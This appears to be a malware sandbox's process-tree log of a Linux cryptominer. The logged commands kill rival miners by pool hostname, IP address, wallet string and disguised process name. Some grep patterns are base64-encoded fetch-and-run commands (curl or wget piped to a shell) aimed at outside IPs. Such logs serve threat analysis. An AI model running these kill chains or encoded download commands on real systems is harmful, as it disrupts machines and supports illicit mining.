/usr/bin/awkawk "{print \$2}"2⤵PID:1081
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1082
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1083
-
-
/bin/grepgrep -v grep2⤵PID:1084
-
-
/bin/grepgrep 176.31.6.162⤵PID:1085
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1086
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1087
-
-
/bin/psps auxf2⤵PID:1088
-
-
/bin/grepgrep -v grep2⤵PID:1089
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1090
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1091
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1092
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1096
-
-
/bin/grepgrep -v grep2⤵PID:1094
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1093
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1095
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1097
-
-
/bin/psps auxf2⤵PID:1098
-
-
/bin/grepgrep -v grep2⤵PID:1099
-
-
/bin/grepgrep xmr.kswapd0-pool.fr:80802⤵PID:1100
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1101
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1102
-
-
/bin/grepgrep -v grep2⤵PID:1104
-
-
/bin/psps auxf2⤵PID:1103
-
-
/bin/grepgrep xmr.kswapd0-pool.fr:33332⤵PID:1105
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1106
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1107
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1108
-
-
/bin/grepgrep -v grep2⤵PID:1109
-
-
/bin/grepPID:1110
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1112
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1111
-
-
/bin/psps auxf2⤵PID:1113
-
-
/bin/grepgrep -v grep2⤵PID:1114
-
-
/bin/grepgrep monerohash.com2⤵PID:1115
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1116
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1117
-
-
/bin/psps auxf2⤵PID:1118
-
-
/bin/grepgrep -v grep2⤵PID:1119
-
-
/bin/grepgrep /tmp/a7b104c2702⤵PID:1120
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1121
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1122
-
-
/bin/psps auxf2⤵PID:1123
-
-
/bin/grepgrep -v grep2⤵PID:1124
-
-
/bin/grepgrep xmr.kswapd0-pool.fr:66662⤵PID:1125
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1126
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1127
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1128
-
-
/bin/grepgrep -v grep2⤵PID:1129
-
-
/bin/grepgrep xmr.kswapd0-pool.fr:77772⤵PID:1130
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1131
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1132
-
-
/bin/psps auxf2⤵PID:1133
-
-
/bin/grepgrep -v grep2⤵PID:1134
-
-
/bin/grepgrep xmr.kswapd0-pool.fr:4432⤵PID:1135
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1136
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1137
-
-
/bin/psps auxf2⤵PID:1138
-
-
/bin/grepgrep -v grep2⤵PID:1139
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1140
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1141
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1142
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1143
-
-
/bin/grepgrep -v grep2⤵PID:1144
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1145
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1146
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1147
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1148
-
-
/bin/grepgrep -v grep2⤵PID:1149
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1150
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1151
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1152
-
-
/bin/psps auxf2⤵PID:1153
-
-
/bin/grepgrep xiaoyao2⤵PID:1154
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1155
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1156
-
/usr/local/sbin/killkill -9 11543⤵PID:1157
-
-
/usr/local/bin/killkill -9 11543⤵PID:1157
-
-
/usr/sbin/killkill -9 11543⤵PID:1157
-
-
/usr/bin/killkill -9 11543⤵PID:1157
-
-
/sbin/killkill -9 11543⤵PID:1157
-
-
/bin/killkill -9 11543⤵PID:1157
-
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1158
-
-
/bin/grepgrep xiaoxue2⤵PID:1159
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1160
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1161
-
/usr/local/sbin/killkill -9 11593⤵PID:1162
-
-
/usr/local/bin/killkill -9 11593⤵PID:1162
-
-
/usr/sbin/killkill -9 11593⤵PID:1162
-
-
/usr/bin/killkill -9 11593⤵PID:1162
-
-
/sbin/killkill -9 11593⤵PID:1162
-
-
/bin/killkill -9 11593⤵
- Reads CPU attributes
PID:1162
-
-
-
/bin/grepgrep 46.243.253.152⤵PID:1164
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1165
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1166
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1167
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1168
-
-
/bin/grepgrep 176.31.6.162⤵PID:1170
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1171
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1172
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1173
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1174
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1176
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1175
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1178
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1177
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵PID:1179
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1180
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1182
-
-
/usr/bin/pgreppgrep -f mixtape2⤵
- Reads runtime system information
PID:1181
-
-
/usr/bin/pgreppgrep -f addnj2⤵
- Reads runtime system information
PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1184
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1185
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1186
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1187
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1188
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1189
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1190
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1191
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1192
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1193
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1194
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1196
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1195
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵
- Reads CPU attributes
PID:1197
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1198
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵
- Reads CPU attributes
PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1200
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵
- Reads CPU attributes
PID:1201
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1202
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵PID:1203
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1204
-
-
/usr/bin/pgreppgrep -f kswapd0night2⤵PID:1205
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1206
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1207
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1208
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵
- Reads CPU attributes
PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1210
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵
- Reads CPU attributes
PID:1211
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1212
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵PID:1213
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1214
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1215
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1216
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads runtime system information
PID:1217
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1218
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1222
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵
- Reads runtime system information
PID:1221
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵
- Reads runtime system information
PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1225
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1226
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1227
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1230
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1231
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1232
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵
- Reads CPU attributes
PID:1235
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1236
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵PID:1239
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1240
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1244
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵
- Reads runtime system information
PID:1243
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1247
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1248
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1252
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1253
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵
- Reads CPU attributes
PID:1256
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1257
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads CPU attributes
PID:1260
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1261
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵
- Reads CPU attributes
PID:1262
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1263
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵PID:1265
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1267
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵PID:1268
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1269
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1271
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1272
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1275
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1276
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵
- Reads runtime system information
PID:1277
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1278
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵
- Reads runtime system information
PID:1280
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1281
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1282
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1283
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1284
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1285
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵
- Reads CPU attributes
PID:1286
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1287
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1289
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1290
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1291
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1292
-
-
/usr/bin/pgreppgrep -f servim2⤵PID:1293
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1294
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1295
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1296
-
-
/usr/bin/pgreppgrep -f native_svc2⤵
- Reads CPU attributes
PID:1297
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1298
-
-
/usr/bin/pgreppgrep -f ynn2⤵
- Reads CPU attributes
PID:1299
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1300
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵
- Reads CPU attributes
PID:1301
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1302
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1303
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1304
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1306
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1305
-
-
/usr/bin/pgreppgrep -f sysstats2⤵PID:1307
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1308
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1309
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1310
-
-
/usr/bin/pgreppgrep -f watchbog2⤵
- Reads CPU attributes
PID:1311
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1312
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵
- Reads runtime system information
PID:1313
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1314
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1315
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1316
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1317
-
-
/usr/bin/pkillpkill -f kswapd0night2⤵
- Reads CPU attributes
PID:1318
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1319
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1320
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1321
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵
- Reads runtime system information
PID:1322
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵
- Reads CPU attributes
PID:1323
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1324
-
-
/usr/bin/pkillpkill -f ir29xc12⤵PID:1325
-
-
/usr/bin/pkillpkill -f conns2⤵
- Reads CPU attributes
PID:1326
-
-
/usr/bin/pkillpkill -f irqbalance2⤵PID:1327
-
-
/usr/bin/pkillpkill -f kswapd0-pool2⤵PID:1328
-
-
/usr/bin/pkillpkill -f XJnRj2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1329
-
-
/usr/bin/pkillpkill -f mgwsl2⤵
- Reads runtime system information
PID:1330
-
-
/usr/bin/pkillpkill -f pythno2⤵
- Reads runtime system information
PID:1331
-
-
/usr/bin/pkillpkill -f jweri2⤵PID:1332
-
-
/usr/bin/pkillpkill -f lx262⤵
- Reads CPU attributes
PID:1333
-
-
/usr/bin/pkillpkill -f NXLAi2⤵
- Reads CPU attributes
PID:1334
-
-
/usr/bin/pkillpkill -f BI5zj2⤵PID:1335
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵
- Reads runtime system information
PID:1336
-
-
/usr/bin/pkillpkill -f minerd2⤵
- Reads runtime system information
PID:1337
-
-
/usr/bin/pkillpkill -f minergate2⤵PID:1338
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1339
-
-
/usr/bin/pkillpkill -f ysaydh2⤵PID:1341
-
-
/usr/bin/pkillpkill -f bonns2⤵
- Reads CPU attributes
PID:1343
-
-
/usr/bin/pkillpkill -f donns2⤵PID:1344
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1346
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵PID:1348
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵PID:1349
-
-
/usr/bin/pkillpkill -f conn.sh2⤵
- Reads CPU attributes
PID:1352
-
-
/usr/bin/pkillpkill -f kworker342⤵
- Reads runtime system information
PID:1353
-
-
/usr/bin/pkillpkill -f kw.sh2⤵PID:1355
-
-
/usr/bin/pkillpkill -f pro.sh2⤵PID:1357
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1359
-
-
/usr/bin/pkillpkill -f acpid2⤵PID:1361
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:358
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:359
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:378
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:379